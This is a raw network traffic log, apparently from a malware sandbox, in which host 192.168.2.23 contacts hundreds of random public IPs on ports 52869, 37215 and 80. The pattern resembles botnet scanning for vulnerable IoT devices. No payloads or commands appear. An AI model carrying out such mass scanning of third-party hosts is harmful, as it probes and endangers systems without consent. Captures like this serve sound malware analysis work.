Jul 20, 2024 23:00:56.811141968 CEST	33453	52869	192.168.2.23	172.182.136.187
Jul 20, 2024 23:00:56.811141968 CEST	33453	52869	192.168.2.23	162.201.27.230
Jul 20, 2024 23:00:56.811141968 CEST	33453	52869	192.168.2.23	25.124.255.104
Jul 20, 2024 23:00:56.811141968 CEST	33453	52869	192.168.2.23	18.116.182.133
Jul 20, 2024 23:00:56.811141968 CEST	33453	52869	192.168.2.23	69.165.1.148
Jul 20, 2024 23:00:56.811141968 CEST	33453	52869	192.168.2.23	62.195.162.198
Jul 20, 2024 23:00:56.811158895 CEST	52869	33453	165.7.255.158	192.168.2.23
Jul 20, 2024 23:00:56.811173916 CEST	52869	33453	108.255.148.142	192.168.2.23
Jul 20, 2024 23:00:56.811188936 CEST	52869	33453	186.216.18.48	192.168.2.23
Jul 20, 2024 23:00:56.811203957 CEST	52869	33453	158.84.96.7	192.168.2.23
Jul 20, 2024 23:00:56.811218977 CEST	52869	33453	185.255.28.4	192.168.2.23
Jul 20, 2024 23:00:56.811233997 CEST	52869	33453	210.94.219.209	192.168.2.23
Jul 20, 2024 23:00:56.811248064 CEST	52869	33453	151.197.186.44	192.168.2.23
Jul 20, 2024 23:00:56.811264038 CEST	52869	33453	162.88.127.3	192.168.2.23
Jul 20, 2024 23:00:56.811279058 CEST	52869	33453	67.174.42.17	192.168.2.23
Jul 20, 2024 23:00:56.811292887 CEST	52869	33453	75.162.95.182	192.168.2.23
Jul 20, 2024 23:00:56.811307907 CEST	52869	33453	195.187.213.25	192.168.2.23
Jul 20, 2024 23:00:56.811310053 CEST	33453	52869	192.168.2.23	220.112.54.246
Jul 20, 2024 23:00:56.811310053 CEST	33453	52869	192.168.2.23	35.152.19.220
Jul 20, 2024 23:00:56.811310053 CEST	33453	52869	192.168.2.23	158.98.187.222
Jul 20, 2024 23:00:56.811310053 CEST	33453	52869	192.168.2.23	111.113.55.54
Jul 20, 2024 23:00:56.811311007 CEST	33453	52869	192.168.2.23	35.50.148.141
Jul 20, 2024 23:00:56.811311007 CEST	33453	52869	192.168.2.23	94.50.121.198
Jul 20, 2024 23:00:56.811311007 CEST	33453	52869	192.168.2.23	99.136.157.100
Jul 20, 2024 23:00:56.811311007 CEST	33453	52869	192.168.2.23	201.113.123.251
Jul 20, 2024 23:00:56.811321974 CEST	52869	33453	31.214.49.59	192.168.2.23
Jul 20, 2024 23:00:56.811336040 CEST	52869	33453	186.155.6.54	192.168.2.23
Jul 20, 2024 23:00:56.811352015 CEST	52869	33453	187.114.45.6	192.168.2.23
Jul 20, 2024 23:00:56.811367035 CEST	52869	33453	174.76.173.185	192.168.2.23
Jul 20, 2024 23:00:56.811381102 CEST	52869	33453	18.129.146.133	192.168.2.23
Jul 20, 2024 23:00:56.811395884 CEST	52869	33453	116.193.28.184	192.168.2.23
Jul 20, 2024 23:00:56.811410904 CEST	52869	33453	179.31.48.245	192.168.2.23
Jul 20, 2024 23:00:56.811702013 CEST	33453	52869	192.168.2.23	12.111.146.90
Jul 20, 2024 23:00:56.811702013 CEST	33453	52869	192.168.2.23	20.218.206.188
Jul 20, 2024 23:00:56.811702013 CEST	33453	52869	192.168.2.23	72.56.162.11
Jul 20, 2024 23:00:56.811702013 CEST	33453	52869	192.168.2.23	197.235.166.187
Jul 20, 2024 23:00:56.811702013 CEST	33453	52869	192.168.2.23	113.247.22.221
Jul 20, 2024 23:00:56.811702013 CEST	33453	52869	192.168.2.23	67.128.244.178
Jul 20, 2024 23:00:56.811702013 CEST	33453	52869	192.168.2.23	71.254.240.118
Jul 20, 2024 23:00:56.811702013 CEST	33453	52869	192.168.2.23	67.7.192.95
Jul 20, 2024 23:00:56.811835051 CEST	33453	52869	192.168.2.23	212.166.221.167
Jul 20, 2024 23:00:56.811835051 CEST	33453	52869	192.168.2.23	121.86.27.200
Jul 20, 2024 23:00:56.811835051 CEST	33453	52869	192.168.2.23	207.249.254.88
Jul 20, 2024 23:00:56.811835051 CEST	33453	52869	192.168.2.23	198.210.153.155
Jul 20, 2024 23:00:56.811835051 CEST	33453	52869	192.168.2.23	23.94.164.15
Jul 20, 2024 23:00:56.811835051 CEST	33453	52869	192.168.2.23	25.122.80.97
Jul 20, 2024 23:00:56.811835051 CEST	33453	52869	192.168.2.23	85.154.235.21
Jul 20, 2024 23:00:56.811835051 CEST	33453	52869	192.168.2.23	51.55.245.239
Jul 20, 2024 23:00:56.812118053 CEST	33453	52869	192.168.2.23	209.203.216.40
Jul 20, 2024 23:00:56.812118053 CEST	33453	52869	192.168.2.23	23.26.1.109
Jul 20, 2024 23:00:56.812118053 CEST	33453	52869	192.168.2.23	47.103.27.14
Jul 20, 2024 23:00:56.812118053 CEST	33453	52869	192.168.2.23	48.219.106.59
Jul 20, 2024 23:00:56.812118053 CEST	33453	52869	192.168.2.23	19.103.22.108
Jul 20, 2024 23:00:56.812118053 CEST	33453	52869	192.168.2.23	84.48.138.55
Jul 20, 2024 23:00:56.812118053 CEST	33453	52869	192.168.2.23	45.235.55.33
Jul 20, 2024 23:00:56.812118053 CEST	33453	52869	192.168.2.23	19.136.197.44
Jul 20, 2024 23:00:56.812133074 CEST	33453	52869	192.168.2.23	163.91.22.99
Jul 20, 2024 23:00:56.812134027 CEST	33453	52869	192.168.2.23	196.97.212.90
Jul 20, 2024 23:00:56.812134027 CEST	33453	52869	192.168.2.23	220.193.74.158
Jul 20, 2024 23:00:56.812134027 CEST	33453	52869	192.168.2.23	5.128.237.130
Jul 20, 2024 23:00:56.812134027 CEST	33453	52869	192.168.2.23	157.207.21.162
Jul 20, 2024 23:00:56.812134027 CEST	33453	52869	192.168.2.23	170.102.118.254
Jul 20, 2024 23:00:56.812318087 CEST	33453	52869	192.168.2.23	43.91.38.163
Jul 20, 2024 23:00:56.812318087 CEST	33453	52869	192.168.2.23	179.205.56.53
Jul 20, 2024 23:00:56.812318087 CEST	33453	52869	192.168.2.23	27.166.196.109
Jul 20, 2024 23:00:56.812318087 CEST	33453	52869	192.168.2.23	172.3.173.126
Jul 20, 2024 23:00:56.812318087 CEST	33453	52869	192.168.2.23	104.216.61.7
Jul 20, 2024 23:00:56.812318087 CEST	33453	52869	192.168.2.23	113.150.8.20
Jul 20, 2024 23:00:56.812318087 CEST	33453	52869	192.168.2.23	119.111.170.111
Jul 20, 2024 23:00:56.812318087 CEST	33453	52869	192.168.2.23	36.78.212.103
Jul 20, 2024 23:00:56.812541008 CEST	33453	52869	192.168.2.23	106.11.102.215
Jul 20, 2024 23:00:56.812541008 CEST	33453	52869	192.168.2.23	75.125.26.246
Jul 20, 2024 23:00:56.812541962 CEST	33453	52869	192.168.2.23	136.124.27.158
Jul 20, 2024 23:00:56.812541962 CEST	33453	52869	192.168.2.23	139.132.75.248
Jul 20, 2024 23:00:56.812541962 CEST	33453	52869	192.168.2.23	171.94.228.238
Jul 20, 2024 23:00:56.812541962 CEST	33453	52869	192.168.2.23	12.48.25.211
Jul 20, 2024 23:00:56.812541962 CEST	33453	52869	192.168.2.23	62.3.210.209
Jul 20, 2024 23:00:56.812541962 CEST	33453	52869	192.168.2.23	43.7.133.23
Jul 20, 2024 23:00:56.812591076 CEST	33453	52869	192.168.2.23	77.126.156.115
Jul 20, 2024 23:00:56.812591076 CEST	33453	52869	192.168.2.23	211.253.28.179
Jul 20, 2024 23:00:56.812591076 CEST	33453	52869	192.168.2.23	64.24.1.179
Jul 20, 2024 23:00:56.812591076 CEST	33453	52869	192.168.2.23	160.229.189.160
Jul 20, 2024 23:00:56.812591076 CEST	33453	52869	192.168.2.23	14.226.136.243
Jul 20, 2024 23:00:56.812591076 CEST	33453	52869	192.168.2.23	74.99.102.89
Jul 20, 2024 23:00:56.812591076 CEST	33453	52869	192.168.2.23	90.201.86.165
Jul 20, 2024 23:00:56.812591076 CEST	33453	52869	192.168.2.23	34.169.6.46
Jul 20, 2024 23:00:56.812613010 CEST	33453	52869	192.168.2.23	194.240.255.26
Jul 20, 2024 23:00:56.812613010 CEST	33453	52869	192.168.2.23	133.33.174.150
Jul 20, 2024 23:00:56.812613964 CEST	33453	52869	192.168.2.23	80.212.80.0
Jul 20, 2024 23:00:56.812613964 CEST	33453	52869	192.168.2.23	158.253.21.219
Jul 20, 2024 23:00:56.812613964 CEST	33453	52869	192.168.2.23	216.160.218.9
Jul 20, 2024 23:00:56.812613964 CEST	33453	52869	192.168.2.23	104.121.16.52
Jul 20, 2024 23:00:56.812613964 CEST	33453	52869	192.168.2.23	64.131.169.240
Jul 20, 2024 23:00:56.812613964 CEST	33453	52869	192.168.2.23	193.6.241.199
Jul 20, 2024 23:00:56.812933922 CEST	33453	52869	192.168.2.23	27.153.103.145
Jul 20, 2024 23:00:56.812933922 CEST	33453	52869	192.168.2.23	174.197.238.28
Jul 20, 2024 23:00:56.812933922 CEST	33453	52869	192.168.2.23	1.253.144.33
Jul 20, 2024 23:00:56.812933922 CEST	33453	52869	192.168.2.23	129.221.27.3
Jul 20, 2024 23:00:56.812933922 CEST	33453	52869	192.168.2.23	159.144.9.230
Jul 20, 2024 23:00:56.812933922 CEST	33453	52869	192.168.2.23	124.96.226.180
Jul 20, 2024 23:00:56.812933922 CEST	33453	52869	192.168.2.23	155.61.198.49
Jul 20, 2024 23:00:56.812933922 CEST	33453	52869	192.168.2.23	80.157.49.163
Jul 20, 2024 23:00:56.813009024 CEST	33453	52869	192.168.2.23	187.245.82.2
Jul 20, 2024 23:00:56.813009024 CEST	33453	52869	192.168.2.23	189.98.80.10
Jul 20, 2024 23:00:56.813009024 CEST	33453	52869	192.168.2.23	177.227.95.196
Jul 20, 2024 23:00:56.813009024 CEST	33453	52869	192.168.2.23	106.128.22.52
Jul 20, 2024 23:00:56.813009024 CEST	33453	52869	192.168.2.23	31.65.4.109
Jul 20, 2024 23:00:56.813009024 CEST	33453	52869	192.168.2.23	90.237.47.19
Jul 20, 2024 23:00:56.813009024 CEST	33453	52869	192.168.2.23	138.64.73.227
Jul 20, 2024 23:00:56.813009024 CEST	33453	52869	192.168.2.23	190.2.221.39
Jul 20, 2024 23:00:56.813055038 CEST	33453	52869	192.168.2.23	46.137.15.141
Jul 20, 2024 23:00:56.813055038 CEST	33453	52869	192.168.2.23	172.100.167.166
Jul 20, 2024 23:00:56.813055038 CEST	33453	52869	192.168.2.23	70.252.130.105
Jul 20, 2024 23:00:56.813055038 CEST	33453	52869	192.168.2.23	41.246.66.74
Jul 20, 2024 23:00:56.813055038 CEST	33453	52869	192.168.2.23	50.26.250.85
Jul 20, 2024 23:00:56.813055038 CEST	33453	52869	192.168.2.23	134.205.178.69
Jul 20, 2024 23:00:56.813055038 CEST	33453	52869	192.168.2.23	58.2.245.96
Jul 20, 2024 23:00:56.813055038 CEST	33453	52869	192.168.2.23	177.208.130.230
Jul 20, 2024 23:00:56.813100100 CEST	33453	52869	192.168.2.23	182.94.91.241
Jul 20, 2024 23:00:56.813100100 CEST	33453	52869	192.168.2.23	115.5.101.200
Jul 20, 2024 23:00:56.813307047 CEST	33453	52869	192.168.2.23	117.185.87.24
Jul 20, 2024 23:00:56.813307047 CEST	33453	52869	192.168.2.23	189.179.60.205
Jul 20, 2024 23:00:56.813307047 CEST	33453	52869	192.168.2.23	36.99.62.218
Jul 20, 2024 23:00:56.813307047 CEST	33453	52869	192.168.2.23	78.234.136.143
Jul 20, 2024 23:00:56.813307047 CEST	33453	52869	192.168.2.23	188.183.152.97
Jul 20, 2024 23:00:56.813317060 CEST	33453	52869	192.168.2.23	181.18.243.86
Jul 20, 2024 23:00:56.813317060 CEST	33453	52869	192.168.2.23	171.226.178.251
Jul 20, 2024 23:00:56.813317060 CEST	33453	52869	192.168.2.23	52.83.93.8
Jul 20, 2024 23:00:56.813317060 CEST	33453	52869	192.168.2.23	42.183.79.62
Jul 20, 2024 23:00:56.813317060 CEST	33453	52869	192.168.2.23	12.25.156.177
Jul 20, 2024 23:00:56.813317060 CEST	33453	52869	192.168.2.23	76.70.56.60
Jul 20, 2024 23:00:56.813317060 CEST	33453	52869	192.168.2.23	108.255.148.142
Jul 20, 2024 23:00:56.813317060 CEST	33453	52869	192.168.2.23	186.216.18.48
Jul 20, 2024 23:00:56.813323975 CEST	33453	52869	192.168.2.23	27.25.11.117
Jul 20, 2024 23:00:56.813323975 CEST	33453	52869	192.168.2.23	39.219.173.221
Jul 20, 2024 23:00:56.813323975 CEST	33453	52869	192.168.2.23	109.99.20.37
Jul 20, 2024 23:00:56.813323975 CEST	33453	52869	192.168.2.23	145.135.47.206
Jul 20, 2024 23:00:56.813323975 CEST	33453	52869	192.168.2.23	109.51.229.142
Jul 20, 2024 23:00:56.813323975 CEST	33453	52869	192.168.2.23	34.125.204.132
Jul 20, 2024 23:00:56.813323975 CEST	33453	52869	192.168.2.23	205.16.116.27
Jul 20, 2024 23:00:56.813323975 CEST	33453	52869	192.168.2.23	81.174.230.70
Jul 20, 2024 23:00:56.813476086 CEST	33453	52869	192.168.2.23	85.208.75.177
Jul 20, 2024 23:00:56.813476086 CEST	33453	52869	192.168.2.23	40.60.68.14
Jul 20, 2024 23:00:56.813476086 CEST	33453	52869	192.168.2.23	168.61.239.115
Jul 20, 2024 23:00:56.813476086 CEST	33453	52869	192.168.2.23	200.123.136.191
Jul 20, 2024 23:00:56.813476086 CEST	33453	52869	192.168.2.23	53.185.123.245
Jul 20, 2024 23:00:56.813476086 CEST	33453	52869	192.168.2.23	143.68.121.26
Jul 20, 2024 23:00:56.813476086 CEST	33453	52869	192.168.2.23	74.7.99.181
Jul 20, 2024 23:00:56.813476086 CEST	33453	52869	192.168.2.23	105.156.46.162
Jul 20, 2024 23:00:56.813504934 CEST	33453	52869	192.168.2.23	158.84.96.7
Jul 20, 2024 23:00:56.813504934 CEST	33453	52869	192.168.2.23	210.94.219.209
Jul 20, 2024 23:00:56.813504934 CEST	33453	52869	192.168.2.23	67.174.42.17
Jul 20, 2024 23:00:56.813504934 CEST	33453	52869	192.168.2.23	195.187.213.25
Jul 20, 2024 23:00:56.813504934 CEST	33453	52869	192.168.2.23	186.155.6.54
Jul 20, 2024 23:00:56.813504934 CEST	33453	52869	192.168.2.23	174.76.173.185
Jul 20, 2024 23:00:56.813581944 CEST	33453	52869	192.168.2.23	108.54.99.241
Jul 20, 2024 23:00:56.813581944 CEST	33453	52869	192.168.2.23	113.40.116.78
Jul 20, 2024 23:00:56.813581944 CEST	33453	52869	192.168.2.23	202.237.97.195
Jul 20, 2024 23:00:56.813581944 CEST	33453	52869	192.168.2.23	37.105.220.79
Jul 20, 2024 23:00:56.813581944 CEST	33453	52869	192.168.2.23	60.6.73.95
Jul 20, 2024 23:00:56.813581944 CEST	33453	52869	192.168.2.23	115.94.137.205
Jul 20, 2024 23:00:56.813581944 CEST	33453	52869	192.168.2.23	126.173.180.3
Jul 20, 2024 23:00:56.813581944 CEST	33453	52869	192.168.2.23	97.104.103.193
Jul 20, 2024 23:00:56.813600063 CEST	33453	52869	192.168.2.23	71.247.149.70
Jul 20, 2024 23:00:56.813600063 CEST	33453	52869	192.168.2.23	221.16.164.45
Jul 20, 2024 23:00:56.813600063 CEST	33453	52869	192.168.2.23	105.15.146.5
Jul 20, 2024 23:00:56.813600063 CEST	33453	52869	192.168.2.23	104.243.16.216
Jul 20, 2024 23:00:56.813600063 CEST	33453	52869	192.168.2.23	73.127.100.14
Jul 20, 2024 23:00:56.813600063 CEST	33453	52869	192.168.2.23	217.193.12.14
Jul 20, 2024 23:00:56.813600063 CEST	33453	52869	192.168.2.23	63.153.201.75
Jul 20, 2024 23:00:56.813600063 CEST	33453	52869	192.168.2.23	90.130.84.199
Jul 20, 2024 23:00:56.813617945 CEST	33453	52869	192.168.2.23	116.185.253.86
Jul 20, 2024 23:00:56.813617945 CEST	33453	52869	192.168.2.23	18.244.35.206
Jul 20, 2024 23:00:56.813617945 CEST	33453	52869	192.168.2.23	187.120.59.233
Jul 20, 2024 23:00:56.813617945 CEST	33453	52869	192.168.2.23	57.2.87.122
Jul 20, 2024 23:00:56.813617945 CEST	33453	52869	192.168.2.23	2.215.40.177
Jul 20, 2024 23:00:56.813617945 CEST	33453	52869	192.168.2.23	88.51.146.50
Jul 20, 2024 23:00:56.813617945 CEST	33453	52869	192.168.2.23	64.20.42.143
Jul 20, 2024 23:00:56.813617945 CEST	33453	52869	192.168.2.23	199.233.175.173
Jul 20, 2024 23:00:56.813642979 CEST	33453	52869	192.168.2.23	123.194.193.8
Jul 20, 2024 23:00:56.813642979 CEST	33453	52869	192.168.2.23	177.15.155.26
Jul 20, 2024 23:00:56.813642979 CEST	33453	52869	192.168.2.23	153.74.254.48
Jul 20, 2024 23:00:56.813642979 CEST	33453	52869	192.168.2.23	165.7.255.158
Jul 20, 2024 23:00:56.813642979 CEST	33453	52869	192.168.2.23	185.255.28.4
Jul 20, 2024 23:00:56.813642979 CEST	33453	52869	192.168.2.23	151.197.186.44
Jul 20, 2024 23:00:56.813642979 CEST	33453	52869	192.168.2.23	162.88.127.3
Jul 20, 2024 23:00:56.813642979 CEST	33453	52869	192.168.2.23	75.162.95.182
Jul 20, 2024 23:00:56.813657999 CEST	33453	52869	192.168.2.23	31.214.49.59
Jul 20, 2024 23:00:56.813657999 CEST	33453	52869	192.168.2.23	187.114.45.6
Jul 20, 2024 23:00:56.813657999 CEST	33453	52869	192.168.2.23	18.129.146.133
Jul 20, 2024 23:00:56.813657999 CEST	33453	52869	192.168.2.23	116.193.28.184
Jul 20, 2024 23:00:56.813657999 CEST	33453	52869	192.168.2.23	179.31.48.245
Jul 20, 2024 23:00:56.818267107 CEST	48734	37215	192.168.2.23	41.174.115.244
Jul 20, 2024 23:00:56.821952105 CEST	45112	37215	192.168.2.23	157.87.181.134
Jul 20, 2024 23:00:56.822105885 CEST	36013	80	192.168.2.23	95.59.86.189
Jul 20, 2024 23:00:56.822137117 CEST	36013	80	192.168.2.23	95.189.55.135
Jul 20, 2024 23:00:56.822179079 CEST	36013	80	192.168.2.23	95.214.141.146
Jul 20, 2024 23:00:56.822267056 CEST	36013	80	192.168.2.23	95.185.71.137
Jul 20, 2024 23:00:56.822267056 CEST	36013	80	192.168.2.23	95.217.159.98
Jul 20, 2024 23:00:56.822316885 CEST	36013	80	192.168.2.23	95.192.157.94
Jul 20, 2024 23:00:56.822335958 CEST	36013	80	192.168.2.23	95.196.201.154
Jul 20, 2024 23:00:56.822386980 CEST	36013	80	192.168.2.23	95.68.157.63
Jul 20, 2024 23:00:56.822400093 CEST	36013	80	192.168.2.23	95.46.102.246
Jul 20, 2024 23:00:56.822406054 CEST	36013	80	192.168.2.23	95.178.161.141
Jul 20, 2024 23:00:56.822444916 CEST	36013	80	192.168.2.23	95.75.139.53
Jul 20, 2024 23:00:56.822503090 CEST	36013	80	192.168.2.23	95.207.129.248
Jul 20, 2024 23:00:56.822786093 CEST	36013	80	192.168.2.23	95.107.65.176
Jul 20, 2024 23:00:56.822809935 CEST	36013	80	192.168.2.23	95.126.84.163
Jul 20, 2024 23:00:56.822829962 CEST	36013	80	192.168.2.23	95.10.224.20
Jul 20, 2024 23:00:56.822911024 CEST	36013	80	192.168.2.23	95.141.23.135
Jul 20, 2024 23:00:56.822935104 CEST	36013	80	192.168.2.23	95.108.17.168
Jul 20, 2024 23:00:56.823010921 CEST	36013	80	192.168.2.23	95.134.125.222
Jul 20, 2024 23:00:56.823035955 CEST	36013	80	192.168.2.23	95.89.87.236
Jul 20, 2024 23:00:56.823096991 CEST	36013	80	192.168.2.23	95.155.206.71
Jul 20, 2024 23:00:56.823134899 CEST	36013	80	192.168.2.23	95.104.39.246
Jul 20, 2024 23:00:56.823134899 CEST	36013	80	192.168.2.23	95.86.72.177
Jul 20, 2024 23:00:56.823187113 CEST	36013	80	192.168.2.23	95.213.244.176
Jul 20, 2024 23:00:56.823246002 CEST	36013	80	192.168.2.23	95.133.15.246
Jul 20, 2024 23:00:56.823282957 CEST	36013	80	192.168.2.23	95.92.98.124
Jul 20, 2024 23:00:56.823307037 CEST	36013	80	192.168.2.23	95.177.159.0
Jul 20, 2024 23:00:56.823307037 CEST	36013	80	192.168.2.23	95.76.9.54
Jul 20, 2024 23:00:56.823307037 CEST	36013	80	192.168.2.23	95.227.233.148
Jul 20, 2024 23:00:56.823321104 CEST	36013	80	192.168.2.23	95.131.123.56
Jul 20, 2024 23:00:56.823364973 CEST	37215	48734	41.174.115.244	192.168.2.23
Jul 20, 2024 23:00:56.823371887 CEST	36013	80	192.168.2.23	95.246.148.147
Jul 20, 2024 23:00:56.823374033 CEST	36013	80	192.168.2.23	95.235.240.159
Jul 20, 2024 23:00:56.823412895 CEST	48734	37215	192.168.2.23	41.174.115.244
Jul 20, 2024 23:00:56.823412895 CEST	36013	80	192.168.2.23	95.11.164.114
Jul 20, 2024 23:00:56.823441029 CEST	36013	80	192.168.2.23	95.49.69.122
Jul 20, 2024 23:00:56.823462009 CEST	36013	80	192.168.2.23	95.148.223.148
Jul 20, 2024 23:00:56.823473930 CEST	36013	80	192.168.2.23	95.96.36.60
Jul 20, 2024 23:00:56.823532104 CEST	36013	80	192.168.2.23	95.117.81.18
Jul 20, 2024 23:00:56.823545933 CEST	36013	80	192.168.2.23	95.179.165.182
Jul 20, 2024 23:00:56.823561907 CEST	36013	80	192.168.2.23	95.174.195.64
Jul 20, 2024 23:00:56.823589087 CEST	36013	80	192.168.2.23	95.200.183.144
Jul 20, 2024 23:00:56.823604107 CEST	36013	80	192.168.2.23	95.132.176.28
Jul 20, 2024 23:00:56.823623896 CEST	36013	80	192.168.2.23	95.87.71.175
Jul 20, 2024 23:00:56.823641062 CEST	36013	80	192.168.2.23	95.32.40.156
Jul 20, 2024 23:00:56.823657990 CEST	36013	80	192.168.2.23	95.100.233.96
Jul 20, 2024 23:00:56.823685884 CEST	36013	80	192.168.2.23	95.238.229.87
Jul 20, 2024 23:00:56.823708057 CEST	36013	80	192.168.2.23	95.18.137.97
Jul 20, 2024 23:00:56.823812008 CEST	36013	80	192.168.2.23	95.56.170.98
Jul 20, 2024 23:00:56.823817015 CEST	36013	80	192.168.2.23	95.39.92.55
Jul 20, 2024 23:00:56.823851109 CEST	36013	80	192.168.2.23	95.61.112.186
Jul 20, 2024 23:00:56.823875904 CEST	36013	80	192.168.2.23	95.12.253.219
Jul 20, 2024 23:00:56.823921919 CEST	36013	80	192.168.2.23	95.55.126.63
Jul 20, 2024 23:00:56.823926926 CEST	36013	80	192.168.2.23	95.15.182.248
Jul 20, 2024 23:00:56.823956966 CEST	36013	80	192.168.2.23	95.166.179.151
Jul 20, 2024 23:00:56.823976994 CEST	36013	80	192.168.2.23	95.137.181.234
Jul 20, 2024 23:00:56.824002981 CEST	36013	80	192.168.2.23	95.42.35.15
Jul 20, 2024 23:00:56.824022055 CEST	36013	80	192.168.2.23	95.155.205.196
Jul 20, 2024 23:00:56.824052095 CEST	36013	80	192.168.2.23	95.149.175.159
Jul 20, 2024 23:00:56.824055910 CEST	36013	80	192.168.2.23	95.82.47.2
Jul 20, 2024 23:00:56.824073076 CEST	36013	80	192.168.2.23	95.176.118.50
Jul 20, 2024 23:00:56.824095964 CEST	36013	80	192.168.2.23	95.20.209.101
Jul 20, 2024 23:00:56.824122906 CEST	36013	80	192.168.2.23	95.68.92.35
Jul 20, 2024 23:00:56.824178934 CEST	36013	80	192.168.2.23	95.4.255.22
Jul 20, 2024 23:00:56.824196100 CEST	36013	80	192.168.2.23	95.214.6.64
Jul 20, 2024 23:00:56.824213982 CEST	36013	80	192.168.2.23	95.50.6.126
Jul 20, 2024 23:00:56.824239016 CEST	36013	80	192.168.2.23	95.4.110.24
Jul 20, 2024 23:00:56.824256897 CEST	36013	80	192.168.2.23	95.148.55.77
Jul 20, 2024 23:00:56.824352980 CEST	36013	80	192.168.2.23	95.110.106.28
Jul 20, 2024 23:00:56.824363947 CEST	36013	80	192.168.2.23	95.90.146.130
Jul 20, 2024 23:00:56.824379921 CEST	36013	80	192.168.2.23	95.105.202.199
Jul 20, 2024 23:00:56.824424982 CEST	36013	80	192.168.2.23	95.100.76.65
Jul 20, 2024 23:00:56.824436903 CEST	36013	80	192.168.2.23	95.125.106.124
Jul 20, 2024 23:00:56.824465990 CEST	36013	80	192.168.2.23	95.38.130.105
Jul 20, 2024 23:00:56.824505091 CEST	36013	80	192.168.2.23	95.25.17.113
Jul 20, 2024 23:00:56.824523926 CEST	36013	80	192.168.2.23	95.64.240.142
Jul 20, 2024 23:00:56.824546099 CEST	36013	80	192.168.2.23	95.182.227.121
Jul 20, 2024 23:00:56.824567080 CEST	36013	80	192.168.2.23	95.154.246.151
Jul 20, 2024 23:00:56.824577093 CEST	36013	80	192.168.2.23	95.1.158.108
Jul 20, 2024 23:00:56.824590921 CEST	36013	80	192.168.2.23	95.103.108.172
Jul 20, 2024 23:00:56.824615002 CEST	36013	80	192.168.2.23	95.165.91.75
Jul 20, 2024 23:00:56.824631929 CEST	36013	80	192.168.2.23	95.204.123.79
Jul 20, 2024 23:00:56.824647903 CEST	36013	80	192.168.2.23	95.94.150.174
Jul 20, 2024 23:00:56.824691057 CEST	36013	80	192.168.2.23	95.37.239.41
Jul 20, 2024 23:00:56.824706078 CEST	36013	80	192.168.2.23	95.68.203.115
Jul 20, 2024 23:00:56.824731112 CEST	36013	80	192.168.2.23	95.250.73.136
Jul 20, 2024 23:00:56.824767113 CEST	36013	80	192.168.2.23	95.37.178.207
Jul 20, 2024 23:00:56.824769974 CEST	36013	80	192.168.2.23	95.68.3.19
Jul 20, 2024 23:00:56.824786901 CEST	36013	80	192.168.2.23	95.193.204.219
Jul 20, 2024 23:00:56.824801922 CEST	36013	80	192.168.2.23	95.237.241.221
Jul 20, 2024 23:00:56.824848890 CEST	36013	80	192.168.2.23	95.205.21.99
Jul 20, 2024 23:00:56.824870110 CEST	36013	80	192.168.2.23	95.28.242.0
Jul 20, 2024 23:00:56.824887037 CEST	36013	80	192.168.2.23	95.73.152.108
Jul 20, 2024 23:00:56.824914932 CEST	36013	80	192.168.2.23	95.160.105.169
Jul 20, 2024 23:00:56.824918985 CEST	36013	80	192.168.2.23	95.134.194.173
Jul 20, 2024 23:00:56.824965000 CEST	36013	80	192.168.2.23	95.128.146.109
Jul 20, 2024 23:00:56.824997902 CEST	36013	80	192.168.2.23	95.229.29.233
Jul 20, 2024 23:00:56.825067043 CEST	36013	80	192.168.2.23	95.91.106.210
Jul 20, 2024 23:00:56.825072050 CEST	33462	37215	192.168.2.23	41.107.86.189
Jul 20, 2024 23:00:56.825083971 CEST	36013	80	192.168.2.23	95.227.123.21
Jul 20, 2024 23:00:56.825104952 CEST	36013	80	192.168.2.23	95.122.162.208
Jul 20, 2024 23:00:56.825125933 CEST	36013	80	192.168.2.23	95.65.81.21
Jul 20, 2024 23:00:56.825129032 CEST	36013	80	192.168.2.23	95.54.3.130
Jul 20, 2024 23:00:56.825153112 CEST	36013	80	192.168.2.23	95.133.110.1
Jul 20, 2024 23:00:56.825187922 CEST	36013	80	192.168.2.23	95.184.170.252
Jul 20, 2024 23:00:56.825268030 CEST	36013	80	192.168.2.23	95.127.185.186
Jul 20, 2024 23:00:56.825284958 CEST	36013	80	192.168.2.23	95.109.105.90
Jul 20, 2024 23:00:56.825285912 CEST	36013	80	192.168.2.23	95.69.165.41
Jul 20, 2024 23:00:56.825284958 CEST	36013	80	192.168.2.23	95.132.164.148
Jul 20, 2024 23:00:56.825303078 CEST	36013	80	192.168.2.23	95.59.175.184
Jul 20, 2024 23:00:56.825365067 CEST	36013	80	192.168.2.23	95.205.152.57
Jul 20, 2024 23:00:56.825375080 CEST	36013	80	192.168.2.23	95.21.150.142
Jul 20, 2024 23:00:56.825401068 CEST	36013	80	192.168.2.23	95.44.187.110
Jul 20, 2024 23:00:56.825408936 CEST	36013	80	192.168.2.23	95.42.53.143
Jul 20, 2024 23:00:56.825474977 CEST	36013	80	192.168.2.23	95.124.96.8
Jul 20, 2024 23:00:56.825512886 CEST	36013	80	192.168.2.23	95.171.131.9
Jul 20, 2024 23:00:56.825512886 CEST	36013	80	192.168.2.23	95.137.195.55
Jul 20, 2024 23:00:56.825547934 CEST	36013	80	192.168.2.23	95.70.236.102
Jul 20, 2024 23:00:56.825547934 CEST	36013	80	192.168.2.23	95.97.27.64
Jul 20, 2024 23:00:56.825547934 CEST	36013	80	192.168.2.23	95.34.110.227
Jul 20, 2024 23:00:56.825592041 CEST	36013	80	192.168.2.23	95.149.97.85
Jul 20, 2024 23:00:56.825615883 CEST	36013	80	192.168.2.23	95.167.7.99
Jul 20, 2024 23:00:56.825617075 CEST	36013	80	192.168.2.23	95.46.238.179
Jul 20, 2024 23:00:56.825635910 CEST	36013	80	192.168.2.23	95.133.61.178
Jul 20, 2024 23:00:56.825666904 CEST	36013	80	192.168.2.23	95.76.34.242
Jul 20, 2024 23:00:56.825691938 CEST	36013	80	192.168.2.23	95.164.166.15
Jul 20, 2024 23:00:56.825753927 CEST	36013	80	192.168.2.23	95.98.27.57
Jul 20, 2024 23:00:56.825807095 CEST	36013	80	192.168.2.23	95.82.60.64
Jul 20, 2024 23:00:56.825820923 CEST	36013	80	192.168.2.23	95.29.141.2
Jul 20, 2024 23:00:56.825871944 CEST	36013	80	192.168.2.23	95.88.146.191
Jul 20, 2024 23:00:56.825877905 CEST	36013	80	192.168.2.23	95.60.228.38
Jul 20, 2024 23:00:56.825907946 CEST	36013	80	192.168.2.23	95.133.191.173
Jul 20, 2024 23:00:56.825964928 CEST	36013	80	192.168.2.23	95.5.108.251
Jul 20, 2024 23:00:56.826024055 CEST	36013	80	192.168.2.23	95.152.9.21
Jul 20, 2024 23:00:56.826044083 CEST	36013	80	192.168.2.23	95.216.232.233
